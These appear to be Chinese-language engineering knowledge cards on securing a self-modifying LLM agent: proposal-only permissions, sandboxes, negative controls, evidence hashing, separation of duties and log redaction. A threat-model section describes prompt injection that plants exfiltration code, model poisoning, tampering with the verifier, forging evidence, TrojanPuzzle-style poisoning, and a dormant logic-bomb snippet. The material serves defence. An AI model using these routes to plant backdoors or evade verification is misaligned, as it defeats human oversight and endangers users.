我们的办法:给每条作为修改依据的事故记录算一条内容指纹,形如 `"trajectory_sha256":sha256(repr(sorted(item.items())))`,指纹随发布清单自造存档。这就好比起诉状不但要交,还要按手印:事后有人想偷换存档里的证据,指纹对不上,替换当场暴露。

0010 真实LLM提案 —— 知识卡片

只给提案权自造

是什么:只给提案权[自造]指大语言模型(LLM,基于海量文本训练的生成式模型)参与自我修改时的权限设计:模型唯一被允许做的事就是交一份提案。提案即完整的新版候选源码文本,只许写进一个隔离的暂存目录。它是安全界老规矩最小权限原则(least privilege,按美国标准机构 NIST 的表述,每个实体只应拿到完成本职工作所需的最小权限——模型也是一个实体)在模型输出通道上的实例。OWASP(开放全球应用安全项目,发布应用安全权威指南的组织)的大模型风险清单也把"将模型的访问权限限制到完成本职工作所需的最小范围"写进官方建议。

解决什么问题:真实的自我修改必须靠模型理解诊断、写出补丁。但模型输出是不可信输入——它可能写错、写坏,甚至被提示注入(prompt injection,把恶意指令塞进模型读到的内容里、诱骗模型替攻击者执行,OWASP 将其列在大模型风险清单首位)操纵。这一招把"用 LLM 生成代码"从信任问题变成管道问题:不管模型多聪明、多不可控,它的上限就是"往隔离区交一份作业",作业好坏由不看出身的同一套考试裁决。它是既有骨架在真模型身上的收口:确诊与开药分离自造定了"模型参与哪一步";候选与稳定版的目录隔离自造定了"草稿放哪里";提案权再把"模型还能碰到什么"压到只剩一条输出通道——权限不靠模型自觉,靠的是权限边界上只留这一条通道。

我们的办法:模型的交付物只有一份源码文本、落在验证专用的隔离暂存目录,流程其余位置对它一律不存在,连流程自己的候选位置都不让它碰。其后的整套确定性验证原样不动,实测真模型写的补丁与模板补丁写法不同、行为等价,同一套行为考试给出同一成绩。

Prompt 约束不是执法自造

是什么:Prompt 约束不是执法[自造]是一条安全设计原则:写进 prompt(发给模型的指令文本)里的禁令只是沟通,它至多提高模型守规矩的概率;真正保证"模型写坏了也出不了事"的,是模型之外的确定性门槛。一句话:嘱咐是概率性的,执法是机制性的,两者必须分开算账。

解决什么问题:对模型说"只准改指定模块、保住函数签名、永久错误一次熔断(熔断即 circuit breaker,失败立即切断)".还嘱咐"不许 import(在代码里加载外部模块)、不碰文件与验证逻辑"。没有任何机制保证它真照做。模型读到的每段内容都可能成为注入载体——包括提示词里附上的稳定版代码全文与诊断数据;这种藏在模型要读的外部内容里的攻击,业界叫间接提示注入(indirect prompt injection)。这个词由安全研究者 Simon Willison 命名,借的是数据库攻击 SQL 注入(SQL injection,把数据当指令执行的经典攻击)的名字,病根同为指令与数据没有分开。指望模型侧补救并不可靠:OWASP 明说"尚不清楚是否存在万无一失的预防手段",检索增强生成(RAG,先查外部资料再作答)与微调这类常见补救也被研究证明不能完全缓解。把同样的要求交给模型外的门槛,局面就倒过来:静态检查(不运行代码、只解析源码的检查)让 import 写了也白写。沙箱(隔离运行不可信代码的环境)让恶意代码跑起来也够不着外面。行为考试(把候选代码真正执行起来、按"事办对没有"打分)让它糊弄也拿不到分。还要把话说准:模型外的措施在业界口径里同样属于"缓解"(mitigation)而非"根治";本卡的静态检查加沙箱恰好凑成模型翻不出去的硬边界,但一般系统别指望哪个单点敢宣布"绝对安全"。它与"改代码不改 prompt"(修 bug 的改动要落在代码控制逻辑上,而不是往 prompt 里加一句嘱咐)同宗不同向:那条讲修复该落在哪,这条讲防线该设在哪。共同的根是一句话——文本无法机器验证,机制才能。

我们的办法:给模型的提示词把四条硬约束与输出契约(先报影响预测、再交完整源码)全部写明,同时明确这些字只是提高成功率的沟通;真正的执法在模型外——实测模型交回的补丁,仍要原样走完同一套静态检查与沙箱才拿到结论。

回执记名不记值自造

是什么:回执记名不记值[自造]是给模型调用的审计存证定的消毒规则:留档的回执里不许出现任何真实密钥的值,涉及凭据只记"它取自哪个环境变量的名字"。回执指一次模型调用的审计凭证:请求与响应的正文、两者的 SHA-256(安全散列算法,固定长度的比对指纹)哈希、token(模型计量文本的小片段)用量、耗时、后端元数据。规则落在头与体的分界上:回执只存请求体与响应体,不存任何 HTTP 头(HTTP header,请求自带的名值对元数据,调用凭据就住在其中的鉴权头里);确要留头,只许留做过键名过滤或键值消毒的。

解决什么问题:审计证据的命运是被长期保存、被很多人读。OWASP 的日志速查表(Logging Cheat Sheet)有一条排除清单:口令、访问令牌、会话标识、加密密钥这类机密不许进日志,必须删除、遮蔽、消毒、哈希或加密;理由很直白——日志里的机密会成为攻击者的垫脚石,支撑更深的二次攻击。一份原样抄录鉴权头的回执,等于把真密钥复印进每一份档案;档案越可信、留得越久,泄露半径越大。所以审计要证据,但证据本身不能变成泄密源;OWASP 也把"用哈希值替代原值以便追踪"列为标准手段之一,与本卡"指纹存档、凭据只记名"正好对上。

我们的办法:实测一次真实调用:回执只收请求与响应正文(鉴权头不落档),请求与响应的哈希齐全 / token 用量 1592 / 耗时约 9.3 秒,凭据栏只记环境变量名,并显式标注 "credential_value_recorded": false。真密钥从系统密钥库现取、用完即散,证据足够复盘而密钥零落档。

OpenAI 兼容端点(OpenAI-compatible endpoint)

是什么:OpenAI 兼容端点是模型供应商提供的、与 OpenAI 聊天补全接口(业界最通用的模型调用形态;API 即应用程序编程接口,程序访问模型服务的约定通道)长得一样的 HTTP 接口。OpenAI 官方客户端 SDK(Software Development Kit,软件开发工具包,此处指官方的 Python 客户端库)原生支持覆写 base_url(客户端配置的服务入口地址,也认 OPENAI_BASE_URL 环境变量)与 api_key(调用凭据);Ollama、vLLM、LiteLLM 这些常见工具也官方宣称内置这种兼容接口——Ollama 本地跑开源模型(自注还属实验性支持),vLLM 是推理服务器,LiteLLM 做模型统一网关。

解决什么问题:它把“换模型供应商”从重写接发代码变成改一行配置,形如 `OpenAI(api_key=key, base_url="https://api.minimaxi.com/v1")`。但接口兼容不等于行为兼容,迁移的真实成本藏在行为细节里。实测踩过思考块的坑:所用模型是推理模型(作答前先在内部生成一段思考过程的模型),回复自带 `<think>...</think>` 思考块,真正的 JSON(JSON,一种键值对文本格式)藏在思考块后面。要分清厂商边界: `<think>` 思考块直接混在正文里,是 MiniMax 这类供应商(以及 DeepSeek-R1 开源权重的多数本地部署)的返回行为,DeepSeek 官方接口则把思考拆进单独的 reasoning_content 字段,OpenAI 自家推理模型的思考过程根本不随响应返回——“先剥思考块”是厂商适配,不是接口规范。直接拿正则提取,会把思考块里的大括号当成数据提错东西,必须先剥块、再解析 JSON。参数名也会漂移: max_tokens (回复长度上限)在 OpenAI 新版接口里改名 max_completion_tokens——名字都随接口版本与供应商变,正是“行为细节不兼容”的标本。推理模型的思考还额外吃预算:官方说明思考 token(模型计量文本的小片段)占据上下文窗口、按输出 token 计费,建议至少预留 25000 token,超了只会拿到“未完成”(incomplete)状态;实测同一任务普通模型 1400 够用、推理模型放到 4096,离官方建议的量级还差得远。 response_format={ "type": "json_object" } 的官方口径只是“保证返回合法 JSON,不保证字段结构符合要求”,要锁字段结构得用结构化输出(json_schema 模式);换供应商接不接,仍要先探针验证。另有两处必配: temperature=0 (把随机性调到零,要确定性不要创意)与 seed (随机种子,同种子同参数才可复现,且供应商只是尽力而为)。

我们的办法:提案生成经这类端点调用云端模型,固定 temperature=0,并对思考块做“先剥再提”的处理;实测一次真实调用约 9 秒返回,剥块后提取 JSON 无歧义——迁移纪律:接口兼容,行为细节不兼容,每个“应该可以”都要实测。

自修改复刻0011–验收入口与负对照 —— 知识卡片

负对照(negative control)

是什么:负对照是实验科学的对照思路用在验证体系上的做法。做法是故意造一个注定不及格的坏候选自造,与好补丁一样喂进完整验证管线(生成、静态检查、沙箱验证、发布决定一条龙),结局必须是被拒。它回答的是「这套检查真的在拦坏东西吗」——只见过好补丁通过,等于不知道闸有没有通电。变异测试(mutation testing,故意往代码里注入小改动、看测试能否抓住的验收方法)给这套逻辑起了现成的名字:被测试抓住的变异叫 killed,溜过测试的叫 survived——坏变异存活,即测试有洞。

为什么重要:负对照的讲究在于要设计成「死于我们最在乎的那几项检查(后文的『灯』)」。实测的坏候选把「该不该重试」一律答成「别重试」,看似治好了「付款被拒后不停重试」这个故障,却顺手禁掉了正常重试。成对检查自造当场让它三灯连灭。检查灯表自造上,灭掉的灯里正有「该重试的还得能重试」这一盏。混沌工程(chaos engineering,主动注入扰动来检验系统韧性的方法)的对照组是同一思想的第三种用法。它的官方四步是定稳态 → 立假设 → 注入变量 → 看假设会不会被推翻,口诀是「越难扰动稳态,信心越足」。出处也交代一句:负对照在实验科学里的本行,是放一剂注定无反应的假样,检测实验流程自己会不会看走眼(比如被无关因素带偏),拿它当验收门禁属工程引申。

我们怎么用:完整验收先跑这剂『坏药』(坏候选的比喻说法)并记录它的死法,门禁里为此设一条专门的布尔项——坏补丁必拒且留档。实测坏候选三灯全灭被拒,同一管线的两个好候选放行,闸被证明通了电——正应了那句自创口诀:测不出阴性的试剂,等于没测。

拒绝史当教材自造

是什么:拒绝史当教材[自造]指被拒坏候选的逐项检查结果不进垃圾桶,而是打包成一段「前车之鉴」写进真实生成模型的提示词,原话形如 "Previously rejected candidates (do not repeat their failure)". 方向与直觉相反:安全系统不掩盖失败案例,而是主动把失败模式摆给模型看。

解决什么问题:模型若只看得见考题、看不见前人怎么死的,就容易重蹈覆辙;把死法摆出来,能抬高提案生成的成功率。这个思路在两头都有现成对应。模型侧的神近亲是 Reflexion——让模型把失败反馈写成文字反省、存进情景记忆(episodic memory),以在后续尝试中做得更好的方法。只是它反省自己摔的跟头,这里喂的是别的候选的死法,算前车之鉴而非自省,不能画等号。组织侧的对应物是无指责复盘(blameless postmortem)——事后只查机制不追个人、把教训写成公开文档的复盘惯例。SRE(站点可靠性工程,管服务可靠度的运维方法论)手册的原话是「写复盘不是惩罚,而是学习机会」。关键的分界是成功与安全各管各的:喂失败史只影响成功率。模型的输出照样原样过完整套静态检查与沙箱(隔离运行不可信代码的环境)行为检查,不会因为「它见过坏案例」就少过任何一道闸。

我们的办法:负对照的检查结果随提示词发给真实模型,并附一句「别重复这种失败」;实测同一张灯表给三个来源各异的候选打分,两个放行、坏对照被拒,喂了失败史的模式照样要全须全尾闯关。

单指标欺骗自造

是什么:单指标欺骗[自造]指只凭一个量化指标下结论时,好补丁和坏补丁(过度修复的坏对照)给出同一个读数、指标失去分辨力的现象。实测实例:指标取「重演失败轨迹时真实发起的调用次数均值」。带病基线 3.5 次(银行已回绝的扣款被反复重试),修好的候选降到 1.0、一次到位。把重试整个禁掉的坏对照同样是 1.0——单看这个读数,它像一剂好药。

为什么重要:病根叫过度修复——把该有的行为也顺手修没了,而「越少越好」的计数指标恰好给过度修复打高分。这类戏码在 AI 界有可检索的名字:specification gaming(规范博弈,DeepMind 定义为「行为满足了目标的字面规定,却没达成真实意图」)。经典案例是赛船游戏 CoastRunners 里那艘船:不奔向终点,绕圈反复撞同一批绿色方块刷分、不肯完赛。把重试整个禁掉来刷高均值指标,正是同款教科书行为。经济学里更老的名字是古德哈特定律(Goodhart's law),原话「任何观测到的统计规律,一旦被拿来当控制手段,便趋于失效」——验收压力本身就会让指标失真,坊间更顺口的概括「指标一旦成为目标,就不再是好度量」,常被归于 Strathern。配上反向指标才分得开:临时错误恢复率基线 1.0,坏对照 0.0,该重试的它也不许试了。所以验收门禁的每一条都该是可机检的是非题,本质是多维布尔组合,组合起来才撒不了谎。

我们怎么用:沙箱里让候选策略「驾驶」着重放的失败轨迹跑一遍,数出真实调用的均值,与行为检查的布尔结果并列进最终裁决。实测 3.5 对 1.0 这组数字同时出现在好候选与坏对照身上,靠指标组合才裁得开。

证据文件链自造

是什么:证据文件链[自造]是让验证过程的原始记录自身可验真、可追溯的固化机制(整条链在行业里的对应物是 in-toto,一个保护软件供应链完整性的框架),由两类文件组成。校验文件(checksum file)按 sha256sum -c 格式记录——每行「哈希 文件名」,给每个证据文件配一条 SHA-256(安全散列算法,给任意内容算出的固定长度单向指纹)指纹。验指纹是这套格式的官方用法: -c 选项即 check(读入清单、逐条核对), --strict 选项还能在清单行格式不规整时以非零状态退出——整条验真可机检。最新指针是固定路径的 latest.json (项目自创命名,行业对应物是部署工具 Capistrano 的 current 软链接、容器镜像的 latest 标签),始终指向最近一次完整证据所在的目录。

解决什么问题:证据本身也会被篡改,历史目录又越积越多——审计者既不知道手里的文件动没动过,也不知道最近一次有效证据在哪。链条把审计固化成三步:先验指纹、再看指针、顺着指针里记录的输入哈希回溯到当时的原始输入。供应链标准 SLSA(Supply-chain Levels for Software Artifacts,软件供应链完整性等级框架)验证一件制品,走的就是两个方向的比对。先拿制品对出处证明(provenance,记录制品由谁、何时、经何步骤产出的证明文件),再拿出处证明对预置的信任根(预先确认可信的签名密钥)——两个方向都过才算验完。指针还守一条原子性规则:像 Capistrano 的 current 软链接只在成功部署结束时更新那样,指针只被成功通过完整验证的那一次推进。失败时旧指针原位不动,与 fail closed(拿不到可信的通过证据就一律不放行)正好闭环。实测的坑:清单文件 latest.sha256 (即给指针文件自己再配的指纹)里写的是相对文件名,必须在清单所在目录执行 shasum -a 256 -c latest.sha256 (macOS 命令名为 shasum,需加 -a 256;Linux 即 sha256sum)。在上级目录跑会报 FAILED open or read ——是路径问题,不是内容问题。

我们的办法:每次完整验证收尾落一套证据——证据正文加指纹文件,目录里全部候选代码各留一条产物哈希,再由固定路径的 latest 指针指向本次。任何人此后一条命令即可验证证据没被换过。

自修改复刻0012-收官执行面对照 —— 知识卡片

执行面适配层自造

是什么:执行面适配层[自造]是把沙箱(隔离运行不可信代码的环境)后端整体换掉、而上方验证逻辑一行不改的改造方法(执行面[自造]=不可信代码在哪一版隔离环境里运行)。协议界早有现成背书:MCP(Model Context Protocol, AI 应用连工具与数据的开放协议)原话是「协议语义在每种传输方式上完全相同,传输只是一层绑定」——换传输不换语义,正是「换后端零改调用方」的依据。适配器模式(Adapter,让接口不兼容的对象得以协作的经典设计模式)说的也是同一件事。适配完成的判据不是「新代码能跑」,而是旧测试全绿——这条判据是自创的验收标准。

解决什么问题:换后端有两个经典事故——调用方被迫跟着改写,旧版保障悄悄丢失。对策三条: – 契约先行:新后端照抄旧后端的异常类型与返回结构。同一个 `SandboxError` (这套自建协议里统一的沙箱异常类型),同一套「退出码 0、输出为合规 JSON(JSON,一种键值对文本格式)、ok 为真」的验收逻辑,调用方零改动。MCP 的 `stdio` 传输(在客户端拉起的子进程标准流上按行传消息)换个载体,消息语义一字不改——绑定在变,契约不动。容器行业同款先例:OCI Runtime Spec(开放容器计划的运行时规范,给容器运行时定统一行为标准)的目的就是「在多个运行时之间提供一致环境」,runc/crun/kata 这些实现才得以互换。 – 差异最小化:把机构性差异列成清单,逐条追问「旧保障还在吗」。候选送达从烧进镜像改为经 `stdin`(标准输入,进程的标准输入流)直写虚拟机的临时目录,信任源不变,锚定物从镜像哈希换成每次直写宿主上那一份运行器文件。起进程从 `Popen` (直接派生子进程的系统接口)改为走 SDK(Software Development Kit,软件开发工具包,此处指沙箱工具提供的编程库)的 `exec`,删容器从强杀改为 `ephemeral`(用完即被运行时焚毁)自动消失。 – 同步封装异步:用 `asyncio.run()` 把 SDK 的异步接口包成同步函数,「世界是异步的」被挡在适配层身后。官方文档同时画了边界:同一线程里已有事件循环在跑时它不能再被调用,且应作为主入口、尽量只调一次。验证管线将来若整体搬进异步环境,这层同步封装就到头了——这是适配层真实的边界。

我们的办法:按这三条把微型虚拟机(microVM:带独立内核的一次性小虚拟机)后端接进验证管线,同一批候选在两种执行面各过同一组检查。实测新后端刚接进管线时,曾因忘喂标准输入而等到超时,异常顺着契约落进统一拒绝出口——`fail closed`(拿不到可信的通过证据就一律不放行)跨执行面开箱生效。

探针假跑自造

是什么:探针假跑[自造]指对照实验里的测量脚本根本没在目标环境执行、却留下「看似正常的空结果」的失效形态(探针=为观测隔离环境真实行为而送进去跑的固定脚本)。实测成因出在 Docker 的一条入口语义上:镜像的 `ENTRYPOINT`(容器一启动就先执行的入口命令)写成 `exec` 形式(`ENTRYPOINT ["prog", "arg"]` 这样的数组写法)时, `docker run` 镜像名后面的命令不替换入口、而是追加成它的参数;入口写成 `shell` 形式(用 `shell` 包一层的写法)时,这些参数则被整个忽略。两种写法殊途同归:想喂一段探针脚本而敲下 `sh -s`,它根本没被执行,容器照常启动、输出为空。

为什么重要:空输出在对照实验里特别危险——很容易被误读成「沙箱里什么也干不了」,于是得出错误的隔离结论,其实目标环境压根没被测到。补全官方组合规则才不会再踩:入口 `exec` 形式对 `run` 参数是追加, `shell` 形式是整个忽略,而 `CMD`(镜像自带的默认命令)正相反, `docker run` 给了参数就整体覆盖它;想换入口,官方指定的手段是 `--entrypoint`。通用教训也有现成名字:变异测试(mutation testing,往代码里注入小改动看测试能否抓住的方法)的行话说,测试全过、坏变异却存活(survived),恰恰说明测试缺了这一环;混沌工程(chaos engineering,主动注入扰动检验韧性的方法)的对照组同理——空结果不构成证据,测量工具自身先要被证明真的在目标环境里跑过。

我们怎么用:探针容器一律显式 `--entrypoint sh` 覆盖镜像入口,再经标准输入喂脚本;实测覆盖后探针输出正常返回,两种执行面的对比数据从此可信。

0013 全流程安全总账与迁移指南 —— 知识卡片

自我修改五路径威胁模型自造

是什么:自我修改五路径威胁模型自造指的是:这类系统好比一座能给自己砌墙的房子,攻击者共有五条入侵路线。五条路是:注入驱动的自我修改、模型端投毒、改裁判、伪造证据、验证体系表演。枚举攻击路径、逐条设防是安全工程现成的威胁建模(threat modeling,把攻防两侧都画进图里做风险评估)的惯例,五条路的具体划分是这份清单自造的部分。它的独特主张在后三条——根本不碰模型,专打验证体系与证据本身——其中最毒的是改裁判,验证体系被腐化后比没有验证更危险。

怎么得手:五条路各有入口: – 注入驱动的自我修改:恶意 issue、网页、工具返回值里藏指令,骗 Agent「优化一下重试逻辑」,实际植入外传数据的代码。毒来自提示注入(prompt injection,把恶意指令塞进模型读到的内容里),自我修改能力让它落地生根; – 模型端投毒:模型供应商被污染或模型被越狱,生成的补丁「看起来合理」,但该熔断(circuit breaker,失败时切断重试的成熟模式)时永不熔断; – 改裁判:不绕沙箱(sandbox,隔离运行不可信代码的环境),直接把验证器改成无条件全 True,此后任何垃圾补丁都能盖上「已验证」的章。现实里有系统外的翻版:2024 年 XZ Utils 后门没有强攻任何服务器,而是腐化上游版本库与构建链,让带毒版本正常通过发布验证,直到有用户发现登录时 CPU 占用异常才败露; – 伪造证据:篡改作为修改依据的事故记录,凭空捏造「该改代码」的理由,操纵流程改不该改的东西; – 验证体系表演:没有坏样本对照,一套检查「看起来在工作」,实际什么也拦不住——业界把这种样子货叫 security theater(安全表演)。

我们的对策:五条路各有一道模型外的确定性闸接着。注入与假证据靠「多条独立事故记录指向同一失败模式才许触发修改」的点火门槛加草稿隔离收窄。被投毒的补丁靠只考行为、不看长相的行为考试拦住。改裁判与伪造证据靠可信根(root of trust,天生被信任、因此必须从设计上保证安全的起点,NIST 即如此定义)——此处取其软件级用法,指本系统圈定「哪些文件不许被改」的那份清单——哈希封条自证。做法是给这些文件在开工前和收工后各拍一次哈希(SHA-256,内容指纹)快照,纹丝不动才算数。快照对象是正本代码、验证器与事故记录存档。体系有没有空转,靠负对照(一个设计好必须死的坏补丁)必死来证明——它死得对,说明闸还真的在拦。注入本身不归这套骨架防:这套骨架是「假设注入终会成功」思路的下游,目标是让得手的注入拿不到有价值的后果。

注入的持久化通道自造

是什么:注入的持久化通道[自造]指提示注入把「一次性的欺骗」升级成「长期后门」的那条路径:在本系统的威胁模型里,持久化的主通道是让系统把恶意逻辑写进代码或配置。模型权重、训练语料这类非代码载体同样藏得住后门,但那归「模型端投毒」(模型本身或其训练材料被污染)路径的对应防线负责。普通注入骗的只是一次回答;对会自我修改、会写配置的系统,只要骗成一次「写文件」,恶意逻辑就成了永久住客,每次启动、每次调用都反复生效。

怎么得手:攻击话术不需要新花样——恶意工单里一句「帮我优化一下重试逻辑」,诱导 Agent 生成一段夹带数据外传的补丁;若这段补丁能直接落到正式代码区,后门就此长驻。业界把这招的管线版叫流水线投毒执行(poisoned pipeline execution,向构建管线配置注入恶意代码或命令、得手后以流水线身份行动)。它收录在 OWASP(发布业界最广引用安全风险清单的非营利组织)的十大风险清单里,与这条路几乎同构。写进代码的恶意逻辑还能藏得很深。微软研究院的代码补全投毒研究 TrojanPuzzle 更狠:可疑载荷片段干脆不进训练数据,只在注释等死角埋触发点,等模型生成代码时才把完整载荷吐出来——按特征扫数据集的静态检查什么都扫不到。所以这类攻击的门槛不在「骗到模型」,而在「写入正本」:骗得再成功,写不进正本就只能算草稿。

我们的对策:防在写入路径上——草稿与正本物理隔离(两个互不相通的目录),草稿写一百遍也碰不到正式代码。转正还要连闯三关。点火门槛要求同一失败模式有两条以上独立事故记录;行为考试把补丁真正执行起来,按「事办对没有」打分;最后只放行到影子灰色(shadow traffic,只喂镜像验证流量)。隔离草稿等于拆掉了注入的持久化通道——这套骨架不承诺拦住注入,但让得手的注入拿不到「长期驻留」这个最大头。

三权分离自造

是什么:三权分离[自造]指一种架构原则:把一次高危自动化里的三种权力——生成权(写提案)、验证权(打分)、决定权(放行)——强制分给三个互不隶属的主体。要害在后半句:任何一方被腐化,都不能单独造成危害。它是安全工程经典原则职责分离(separation of duties,关键操作拆给多个主体、单人无法独立完成破坏)在「AI 改代码」场景的实例;口语版就是:考生永远不能给自己打分——行业安全清单里的表述几乎同义,不让任何单一主体(无论人还是程序)能独自把敏感代码一路送到上线。

解决什么问题:如果生成补丁的一方也能验证、能发布,验证体系就是摆设——考生自己给自己打分。现实里模型的提示词可以被注入,补丁可以被投毒,沙箱(sandbox,隔离运行不可信代码的环境)也可能被漏洞打穿。三权分离保证的是:串起这些失守点的每一条「下一步权限」都握在模型外的确定性代码手里——没有单点被腐化能单独造成危害。它的保证范围还有一条清晰边界:职责分离的经典表述是「在不串谋的前提下降低恶意活动风险」——单人失守不成灾,多方合谋不在保证之内。

我们的办法:生成权归模型,它只能交一份提案文本进隔离目录。验证权归检查灯表自造,检查在沙箱里跑。决定权归一行模型外公式 `accepted = 有实际改动 and 灯表非空 and 全绿`,规则短到无法作弊,全绿也只放行到灰色(canary release,新版本先放给一小部分流量的分阶段上线)。

热更新按自我修改待遇自造

是什么:热更新按自我修改待遇[自造]是一条迁移规则:凡能改变 Agent 行为的热更新通道,都按「改自己代码」同等待遇处理,而不是改完直接生效。这些通道包括配置文件、系统 prompt(写给模型的指令文本)与工具清单;待遇的具体形状是走候选、验证、灰度、回滚的流水线。这套待遇是业界 GitOps(声明式、版本化不可变、自动拉取、持续调和的运维方法,把系统期望状态存进版本库、由自动化把真实环境拉回声明状态)在 Agent 配置上的特例。

解决什么问题:配置和 prompt 常被当成「改改没关系」的轻量操作,攻击与事故恰好从这里进来。比如藏在热更新配置里的一条「把用户消息原文转发到外部地址」,一旦直接生效就全量命中,每一轮对话都在替攻击者外传数据。这不是多虑:「改动绕过审批直达生产」本身就是行业持续交付十大风险的第一条——拿到权限的人能独自把代码或制品一路推到生产,中途没有强制审批;配置热更新正是它的 Agent 版入口。配置错误与密钥暴露则是基础设施即代码(infrastructure as code,用文本配置声明并管理运行环境)安全清单的常客。还有两笔日常账:改坏时没有回滚点,事后没人说得清谁在何时改了什么。

我们的办法:迁移处方是把「候选物」从源码换成配置文本,其余骨架原样复用——同一套流水线已在代码自我修改上验证过,配置只是换了个乘客。配置改动先落候选区,过静态与行为检查(把改后的配置真正跑一遍看行为),再以灰度(canary release,新版本先放给一小部分流量的分阶段上线)方式生效;回滚触发条件发布前写死,决定与理由落盘留档——配置每个版本都在库里留有完整历史,回滚有据可查,与 GitOps 的思路互为印证。

考题外休眠逻辑自造

是什么:考题外休眠逻辑[自造]指恶意补丁在全部行为考题上表现完全正常、却埋了一段「只在考题没覆盖的输入上才触发」的恶意分支的攻击形态;近亲是逻辑炸弹(logic bomb,被故意埋进软件系统、满足指定条件才触发恶意功能的代码)。它利用的不是防线太弱,而是考试本身有限:行为检查只能考已知行为。

怎么得手:比如全部行为检查考的都是已知错误码上的重试与熔断表现,恶意补丁在这些考题上全绿,同时埋一句 `if error_code == "SPECIAL": do_evil()`,上线后等生产里出现这个错误码才引爆。更深一层:验收判据全过只证明「体系按设计运行」,不证明「设计覆盖了所有该考的行为」——这层覆盖率没有任何自动化能自动保证。现实注脚:2024 年 XZ Utils 后门在常规构建与测试里表现一切正常,只在特定链接条件成立时才激活,于是带着全套绿灯发布了出去。

我们的对策:现有缓解是把爆炸半径预先框死——全绿也只进影子灰度(shadow traffic,只喂镜像验证流量、真实用户不受影响),回滚触发条件发布前写死。开放解法是四件套,也是整套体系最值得继续投入的缺口: - 更随机的属性测试(property-based testing,用随机输入检验代码该普遍成立的性质); - 与稳定版自造对拍的差分测试(differential testing,同一输入喂两个实现、只比输出,分歧本身就是缺陷信号)——恶意分支必然制造分歧,对拍因此抓得住休眠分支;用之前先划掉「预期 diff」的输入域:故意要改的行为本来就该有差异,只对不该变的输入比; - 对条件分支提出覆盖要求; - 安全评审人工把关,任何自动化都替代不了。

日志脱敏复刻00-全盘规划与安全定位 —— 知识卡片

观测出口与泄露半径自造

是什么:日志脱敏守的是 Agent 的过程记录出口——日志文件、工具输出、trace(链路追踪,跨组件的完整调用记录)在落盘前的那道门,它与记忆库这类存储出口相对,是另一类泄露通道。OWASP(开放全球应用安全项目)的日志安全排除清单列着一串「不该进日志」的东西:数据库连接串、会话标识、访问令牌、认证口令、加密密钥与各类核心机密;银行账户或支付卡数据、健康数据、政府颁发的身份标识也在列——Agent 的跑腿记录恰恰样样都沾。比喻是:Agent 像拿着钥匙跑腿的助理,记事本(记忆写盘)那道门已经有人消毒了,但跑腿的每一步都被记录在案——工具调用请求头、部署日志、trace 这些「案底」里经常抄着钥匙本身。

解决什么问题:防「进来」(注入、被投毒的记忆)与防「出去」(泄露)是两套功夫,日志脱敏属于后者:守的是机密性,即 CIA 三要素(Confidentiality/Integrity/Availability,机密性、完整性、可用性)里的 C;手段是 DLP(Data Loss Prevention,数据防泄漏)——在敏感数据离开可信范围前把它拦住。日志这扇门格外阴险,因为记录会扩散:日志会被备份、送第三方监控、被 trace 聚合;原文带着密钥或 PII(Personally Identifiable Information,个人身份信息)时,泄露半径(blast radius,出事后波及的范围)就从「这台机器」扩大到「所有碰过日志的地方」。OWASP 提醒日志常「不该直接记录」敏感数据,并点名日志会沦为攻击者深入攻击的「跳板」(stepping stone)。这条提醒讲的正是同一种扩散。把敏感信息写进日志,在安全行业的弱点百科 CWE(Common Weakness Enumeration,通用弱点枚举)里有正式编号:CWE-532,名字就叫「向日志文件插入敏感信息」(Insertion of Sensitive Information into Log File)。敌人还要

分两类算账:密钥类泄露等于给攻击者递钥匙——Agent 每步都要带凭据、日志如实记录,攻击者拿到日志不用破门,直接横向移动(lateral movement,攻入后继续向系统内部扩张的手法);用偷来的凭据登录相邻系统只是其中"凭据型"这一种,官方定义还包括借远程服务漏洞这类无凭据路径;PII 类泄露踩的是合规红线(《个人信息保护法》、GDPR(欧盟通用数据保护条例)的罚款与信任损失)。另有一条经验事实:Agent 日志里最高频的泄露物是密钥,不是身份证。

我们的办法:记忆库出口已由 Presidio(微软开源的 PII 识别与匿名化引擎)守住;本项目把日志这类过程记录出口立为独立防线,收官时给每个数据出口逐个拍板该配哪层脱敏。

回填验收闸自造

是什么:回填验收闸是给 LLM(大语言模型)脱敏引擎加的一道确定性验收:模型声称"这里有敏感项、值是 X"时,X 必须能在源文本里逐字找到(是原文的子串)才收,对不上整条作废。它通常与结构化输出搭配,两者合成"格式保证+内容保证"两层墙:结构化输出(structured output,强制模型按约定格式作答)只保证格式合规——字段不缺、不编造非法枚举值;"值必须是源文本子串"这道内容级验收,补的正是 schema(约定好的字段格式)管不到的那一层。这个思路在业界有现成亲戚:抽取式问答要求答案必须是原文片段,行话叫 grounding(答案锚定)——"答案必须是原文的逐字片段"这种核验,一般就叫逐字片段核验(verbatim span verification)。

解决什么问题:端侧小模型会一本正经地编造——OWASP 大模型应用十大风险把这类问题收在"错误信息(Misinformation)"条目下,并点名叫幻觉(hallucination——模型"生成看似准确、实则虚构的内容")。最典型的失败形态是描述性前缀自造:让模型摘出密码,它交回 the user's password(用户的密码)这类短语,而不是密码原文。直接信任的后果有两种:替换落空,因为源文本里根本没有这串字;或者正常文本被错误改写。验收闸把"模型报的值"强制对齐到"原文里真实存在的值",编造的值进不了脱敏结果。

我们的对策:模型的每个删改动作都过逐字子串比对,不过关即弃用。取舍:这道闸只保证"不瞎编",不保证"找得全"——漏检要靠引擎自身的召回能力去补。

混合脱敏管道自造

是什么:混合脱敏管道是把两类引擎按"先便宜后贵"串起来的分层设计:确定性正则引擎(纯正则表达式匹配,微秒级、零依赖、可举证)先扫全量日志;正则一个敏感项都没命中的文本,才升级给端侧 LLM 引擎(跑在本地的小型开源模型)补扫。"规则与模型同管道混编"并非自创花样:Presidio(微软开源的 PII 识别与匿名化引擎)官方架构写明,一个实体识别器"可以是规则式的、可以是机器学习模型、也可以是两者结合"。业界早把"规则+模型"当标配,差别只在调度方式。

解决什么问题:两类引擎的死穴恰好互补。正则只认格式:自然语言口令(比如"我网银密码是 Blue moon over river 77")没有格式可查,正则永远写不出来;LLM 读得懂语境,但单次调用秒级起步、可能编造、复盘时还说不清"为什么觉得这里敏感"。全量走 LLM 又贵又慢,全走正则又漏语义盲区;分层让每层的短板由邻层兜住,是纵深防御(defense in depth)落在数据出口上的具体形态。NIST(美国国家标准与技术研究院)给"纵深防御"这个词的官方定义,就是"以分层、分步的方式叠加多种对抗手段"(the application of multiple countermeasures in a layered or stepwise manner)。

我们的办法:落地形态是"正则先行、零命中才进 LLM"——便宜确定的先走,贵的只补漏。引擎分工不由感觉拍板:同一批人工标注的基准用例让各引擎同场对比,用四把尺定谁管哪类。

